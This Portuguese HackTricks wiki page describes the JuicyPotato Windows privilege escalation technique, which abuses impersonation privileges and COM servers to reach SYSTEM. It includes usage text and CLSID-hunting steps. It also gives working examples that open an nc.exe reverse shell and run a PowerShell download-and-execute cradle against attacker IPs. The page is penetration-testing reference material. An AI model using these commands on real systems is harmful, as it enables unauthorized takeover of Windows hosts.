11 KiB
JuicyPotato
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
WhiteIntel
WhiteIntel é um motor de busca alimentado pela dark-web que oferece funcionalidades gratuitas para verificar se uma empresa ou seus clientes foram comprometidos por malwares ladrões.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode conferir o site deles e experimentar o motor gratuitamente em:
{% embed url="https://whiteintel.io" %}
{% hint style="warning" %}
JuicyPotato não funciona no Windows Server 2019 e Windows 10 build 1809 em diante. No entanto, PrintSpoofer, RoguePotato, SharpEfsPotato podem ser usados para aproveitar os mesmos privilégios e obter acesso ao nível NT AUTHORITY\SYSTEM
. Verifique:
{% endhint %}
{% content-ref url="roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}
Juicy Potato (abusando dos privilégios dourados)
Uma versão adoçada do RottenPotatoNG, com um pouco de suco, ou seja, outra ferramenta de Escalação de Privilégios Locais, de Contas de Serviço do Windows para NT AUTHORITY\SYSTEM
Você pode baixar juicypotato de https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts
Resumo
RottenPotatoNG e suas variantes aproveitam a cadeia de escalonamento de privilégios baseada no BITS
serviço tendo o ouvinte MiTM em 127.0.0.1:6666
e quando você tem privilégios SeImpersonate
ou SeAssignPrimaryToken
. Durante uma revisão de build do Windows, encontramos uma configuração onde BITS
foi intencionalmente desativado e a porta 6666
foi ocupada.
Decidimos transformar em arma RottenPotatoNG: Diga olá para Juicy Potato.
Para a teoria, veja Rotten Potato - Escalação de Privilégios de Contas de Serviço para SYSTEM e siga a cadeia de links e referências.
Descobrimos que, além de BITS
, existem vários servidores COM que podemos abusar. Eles só precisam:
- ser instanciáveis pelo usuário atual, normalmente um “usuário de serviço” que tem privilégios de impersonação
- implementar a interface
IMarshal
- rodar como um usuário elevado (SYSTEM, Administrador, …)
Após alguns testes, obtivemos e testamos uma lista extensa de CLSID’s interessantes em várias versões do Windows.
Detalhes suculentos
JuicyPotato permite que você:
- CLSID de destino escolha qualquer CLSID que você quiser. Aqui você pode encontrar a lista organizada por SO.
- Porta de escuta COM defina a porta de escuta COM que preferir (em vez da 6666 codificada)
- Endereço IP de escuta COM vincule o servidor a qualquer IP
- Modo de criação de processo dependendo dos privilégios do usuário impersonado, você pode escolher entre:
CreateProcessWithToken
(precisa deSeImpersonate
)CreateProcessAsUser
(precisa deSeAssignPrimaryToken
)ambos
- Processo a ser iniciado inicie um executável ou script se a exploração for bem-sucedida
- Argumento do processo personalize os argumentos do processo iniciado
- Endereço do servidor RPC para uma abordagem furtiva, você pode se autenticar em um servidor RPC externo
- Porta do servidor RPC útil se você quiser se autenticar em um servidor externo e o firewall estiver bloqueando a porta
135
… - MODO DE TESTE principalmente para fins de teste, ou seja, testando CLSIDs. Ele cria o DCOM e imprime o usuário do token. Veja aqui para testes
Uso
T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
Considerações finais
Se o usuário tiver privilégios SeImpersonate
ou SeAssignPrimaryToken
, então você é SYSTEM.
É quase impossível prevenir o abuso de todos esses Servidores COM. Você poderia pensar em modificar as permissões desses objetos via DCOMCNFG
, mas boa sorte, isso vai ser desafiador.
A solução real é proteger contas e aplicações sensíveis que rodam sob as contas * SERVICE
. Parar o DCOM
certamente inibiria esse exploit, mas poderia ter um impacto sério no sistema operacional subjacente.
De: http://ohpe.it/juicy-potato/
Exemplos
Nota: Visite esta página para uma lista de CLSIDs para tentar.
Obter um shell reverso nc.exe
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Users\Public>
Powershell rev
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
Inicie um novo CMD (se você tiver acesso RDP)
Problemas de CLSID
Muitas vezes, o CLSID padrão que o JuicyPotato usa não funciona e a exploração falha. Normalmente, leva várias tentativas para encontrar um CLSID funcional. Para obter uma lista de CLSIDs para tentar em um sistema operacional específico, você deve visitar esta página:
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
Verificando CLSIDs
Primeiro, você precisará de alguns executáveis além do juicypotato.exe.
Baixe Join-Object.ps1 e carregue-o em sua sessão PS, e baixe e execute GetCLSID.ps1. Esse script criará uma lista de possíveis CLSIDs para testar.
Em seguida, baixe test_clsid.bat (mude o caminho para a lista de CLSID e para o executável juicypotato) e execute-o. Ele começará a tentar cada CLSID, e quando o número da porta mudar, isso significará que o CLSID funcionou.
Verifique os CLSIDs funcionais usando o parâmetro -c
Referências
WhiteIntel
WhiteIntel é um mecanismo de busca alimentado pela dark-web que oferece funcionalidades gratuitas para verificar se uma empresa ou seus clientes foram comprometidos por malwares ladrões.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o mecanismo gratuitamente em:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Suporte ao HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.